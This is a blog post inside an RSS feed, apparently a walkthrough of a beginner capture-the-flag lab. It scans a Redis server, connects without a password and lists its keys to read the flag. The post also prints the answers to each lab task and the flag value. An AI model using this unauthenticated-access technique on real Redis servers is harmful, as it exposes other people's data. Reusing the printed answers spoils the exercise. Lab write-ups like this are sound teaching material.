            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*IxLwXa7cO3fCO5ddwqy6Ug.png" /></figure><p>This blog is about the enumerating Redis server and then dumping its database to get the root flag.</p><p>Let’s Begin by clicking the “<strong>Spawn Machine</strong>” button</p><blockquote><strong>Scanning</strong></blockquote><p>After Starting the Machine, it will display the IP address of the machine. Now scanning its services with the <strong><em>rustscan</em></strong>. Here, <strong><em>redis db</em></strong> is running with port number <strong><em>6379</em></strong>.</p><pre>$ rustscan -a &lt;IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*FCkbjBL2z6GO5c0T6apNKg.jpeg" /></figure><pre>TASK 1<br>Which TCP port is open on the machine?<br>6379</pre><pre>TASK 2<br>Which service is running on the port that is open on the machine?<br>redis</pre><pre>TASK3<br>What type of database is Redis? Choose from the following options:<br>(i) In-memory Database, (ii) Traditional Database<br>In-memory Database</pre><p>After knowing <strong><em>redis db</em></strong> running, we can connect it with out password sometimes.</p><p>Installing the tool to connect the redis:</p><pre>$ sudo apt-get install redis-tools</pre><p>Now, the tool is installed. Let’s connect the instance</p><pre>$ redis-cli -h &lt;Machine_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*TMrC_fuPBL4aaOy1uO0k3A.jpeg" /></figure><p>Here, <strong>info</strong> command is supplied to get all the information of the Redis instance.</p><pre>TASK4<br>Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.<br>redis-cli</pre><pre>TASK5<br>Which flag is used with the Redis command-line utility to specify the hostname?<br>-h</pre><pre>TASK6<br>Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?<br>INFO</pre><pre>TASK7<br>What is the version of the Redis server being used on the target machine?<br>5.0.7</pre><p>After Firing the <strong><em>info</em></strong> command, it also displays the database information in <strong><em>Keyspace</em></strong></p><p><strong><em>db0</em></strong> -&gt; it means database 0</p><p><strong><em>keys </em></strong>-&gt; there are 4 keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*5Z7ufE6C7e4JEsA7sHg5ng.jpeg" /></figure><p>SELECT 0 -&gt; This means choosing the particular database by the number</p><p>KEYS * -&gt; it means displaying all the keys present in the database</p><p>get flag -&gt; reading the flag key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*qCrXRZxdSe4Ik3VILu-8EQ.jpeg" /></figure><pre>TASK8<br>Which command is used to select the desired database in Redis?<br>SELECT</pre><pre>TASK9<br>How many keys are present inside the database with index 0?<br>4</pre><pre>TASK10<br>Which command is used to obtain all the keys in a database?<br>KEYS *</pre><pre>Root Flag: 03e1d2b376c37ab3f5319922053953eb</pre><p>In this way, the database information can be easily readable.</p><p>Thank you for reading my blog !!</p><h3><strong>Reference:</strong></h3><ul><li><a href="https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#redis-rce">https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#redis-rce</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5418ac059bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>